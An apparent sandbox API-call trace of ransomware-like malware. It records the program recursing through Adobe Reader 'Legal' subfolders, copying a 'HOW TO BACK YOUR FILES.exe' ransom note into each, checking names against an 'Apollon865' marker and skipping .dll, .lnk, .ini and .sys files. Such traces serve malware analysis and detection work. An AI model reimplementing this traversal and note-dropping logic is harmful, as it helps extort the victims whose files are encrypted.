	[0059.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1
	[0059.987] lstrcmpiW (lpString1="SLV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.987] lstrcmpiW (lpString1="SLV", lpString2="Apollon865.txt.exe") returned 1
	[0059.987] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="SLV" | out: lpString1="SLV") returned="SLV"
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5922c0
	[0059.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0059.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1
	[0059.987] lstrcmpiW (lpString1="SUO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.987] lstrcmpiW (lpString1="SUO", lpString2="Apollon865.txt.exe") returned 1
	[0059.987] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="SUO" | out: lpString1="SUO") returned="SUO"
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x592340
	[0059.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd50
	[0059.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1
	[0059.987] lstrcmpiW (lpString1="SVE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.987] lstrcmpiW (lpString1="SVE", lpString2="Apollon865.txt.exe") returned 1
	[0059.987] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="SVE" | out: lpString1="SVE") returned="SVE"
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5923c0
	[0059.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fc10
	[0059.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1
	[0059.987] lstrcmpiW (lpString1="TUR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.987] lstrcmpiW (lpString1="TUR", lpString2="Apollon865.txt.exe") returned 1
	[0059.987] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="TUR" | out: lpString1="TUR") returned="TUR"
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x592440
	[0059.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0059.988] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1
	[0059.988] lstrcmpiW (lpString1="UKR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.988] lstrcmpiW (lpString1="UKR", lpString2="Apollon865.txt.exe") returned 1
	[0059.988] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="UKR" | out: lpString1="UKR") returned="UKR"
	[0059.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0059.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5924c0
	[0059.988] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0059.988] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0
	[0059.988] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0059.988] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0059.988] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR"
	[0059.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5924c0 | out: hHeap=0x580000) returned 1
	[0059.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0059.988] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned 57
	[0059.988] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR"
	[0059.988] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0059.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0059.992] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0059.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd47ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd47ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0059.992] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.992] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0059.992] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0059.992] lstrlenW (lpString="eula.ini") returned 8
	[0059.992] lstrlenW (lpString="Apollon865") returned 10
	[0059.992] lstrlenW (lpString=".dll") returned 4
	[0059.992] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0059.992] lstrlenW (lpString=".lnk") returned 4
	[0059.992] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0059.992] lstrlenW (lpString=".ini") returned 4
	[0059.992] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0059.992] lstrlenW (lpString=".sys") returned 4
	[0059.992] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0059.992] lstrlenW (lpString="eula.ini") returned 8
	[0059.992] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0059.992] lstrlenW (lpString="license.html") returned 12
	[0059.992] lstrlenW (lpString="Apollon865") returned 10
	[0059.992] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0059.992] lstrlenW (lpString=".dll") returned 4
	[0059.992] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0059.993] lstrlenW (lpString=".lnk") returned 4
	[0059.993] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0059.993] lstrlenW (lpString=".ini") returned 4
	[0059.993] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0059.993] lstrlenW (lpString=".sys") returned 4
	[0059.993] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0059.993] lstrlenW (lpString="license.html") returned 12
	[0059.993] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR"
	[0059.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592440 | out: hHeap=0x580000) returned 1
	[0059.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0059.993] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned 57
	[0059.993] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR"
	[0059.993] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0059.993] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.001] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.001] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd6dc30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd6dc30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.001] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.002] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.002] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.002] lstrlenW (lpString="eula.ini") returned 8
	[0060.002] lstrlenW (lpString="Apollon865") returned 10
	[0060.002] lstrlenW (lpString=".dll") returned 4
	[0060.002] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.002] lstrlenW (lpString=".lnk") returned 4
	[0060.002] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.002] lstrlenW (lpString=".ini") returned 4
	[0060.002] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.002] lstrlenW (lpString=".sys") returned 4
	[0060.002] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.002] lstrlenW (lpString="eula.ini") returned 8
	[0060.002] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.002] lstrlenW (lpString="license.html") returned 12
	[0060.002] lstrlenW (lpString="Apollon865") returned 10
	[0060.002] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.002] lstrlenW (lpString=".dll") returned 4
	[0060.002] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.002] lstrlenW (lpString=".lnk") returned 4
	[0060.002] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.002] lstrlenW (lpString=".ini") returned 4
	[0060.002] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.002] lstrlenW (lpString=".sys") returned 4
	[0060.002] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.002] lstrlenW (lpString="license.html") returned 12
	[0060.002] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE"
	[0060.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5923c0 | out: hHeap=0x580000) returned 1
	[0060.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0060.003] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned 57
	[0060.003] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE"
	[0060.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.008] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd6dc30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd6dc30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.008] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.008] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.008] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.008] lstrlenW (lpString="eula.ini") returned 8
	[0060.008] lstrlenW (lpString="Apollon865") returned 10
	[0060.008] lstrlenW (lpString=".dll") returned 4
	[0060.009] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.009] lstrlenW (lpString=".lnk") returned 4
	[0060.009] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.009] lstrlenW (lpString=".ini") returned 4
	[0060.009] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.009] lstrlenW (lpString=".sys") returned 4
	[0060.009] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.009] lstrlenW (lpString="eula.ini") returned 8
	[0060.009] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.009] lstrlenW (lpString="license.html") returned 12
	[0060.009] lstrlenW (lpString="Apollon865") returned 10
	[0060.009] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.009] lstrlenW (lpString=".dll") returned 4
	[0060.009] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.009] lstrlenW (lpString=".lnk") returned 4
	[0060.009] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.009] lstrlenW (lpString=".ini") returned 4
	[0060.009] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.009] lstrlenW (lpString=".sys") returned 4
	[0060.009] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.009] lstrlenW (lpString="license.html") returned 12
	[0060.009] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO"
	[0060.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592340 | out: hHeap=0x580000) returned 1
	[0060.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0060.009] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned 57
	[0060.009] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO"
	[0060.009] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.009] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.022] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd93d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd93d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.022] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.022] lstrlenW (lpString="eula.ini") returned 8
	[0060.022] lstrlenW (lpString="Apollon865") returned 10
	[0060.022] lstrlenW (lpString=".dll") returned 4
	[0060.022] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.022] lstrlenW (lpString=".lnk") returned 4
	[0060.022] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.022] lstrlenW (lpString=".ini") returned 4
	[0060.022] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.022] lstrlenW (lpString=".sys") returned 4
	[0060.022] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.022] lstrlenW (lpString="eula.ini") returned 8
	[0060.023] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.023] lstrlenW (lpString="license.html") returned 12
	[0060.023] lstrlenW (lpString="Apollon865") returned 10
	[0060.023] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.023] lstrlenW (lpString=".dll") returned 4
	[0060.023] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.023] lstrlenW (lpString=".lnk") returned 4
	[0060.023] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.023] lstrlenW (lpString=".ini") returned 4
	[0060.023] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.023] lstrlenW (lpString=".sys") returned 4
	[0060.023] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.023] lstrlenW (lpString="license.html") returned 12
	[0060.023] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV"
	[0060.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5922c0 | out: hHeap=0x580000) returned 1
	[0060.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0060.023] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned 57
	[0060.023] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV"
	[0060.023] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.023] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.030] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.030] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd93d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd93d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.030] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.030] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.030] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.030] lstrlenW (lpString="eula.ini") returned 8
	[0060.030] lstrlenW (lpString="Apollon865") returned 10
	[0060.030] lstrlenW (lpString=".dll") returned 4
	[0060.030] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.030] lstrlenW (lpString=".lnk") returned 4
	[0060.030] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.030] lstrlenW (lpString=".ini") returned 4
	[0060.030] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.030] lstrlenW (lpString=".sys") returned 4
	[0060.030] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.030] lstrlenW (lpString="eula.ini") returned 8
	[0060.030] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.030] lstrlenW (lpString="license.html") returned 12
	[0060.030] lstrlenW (lpString="Apollon865") returned 10
	[0060.030] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.030] lstrlenW (lpString=".dll") returned 4
	[0060.030] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.030] lstrlenW (lpString=".lnk") returned 4
	[0060.031] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.031] lstrlenW (lpString=".ini") returned 4
	[0060.031] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
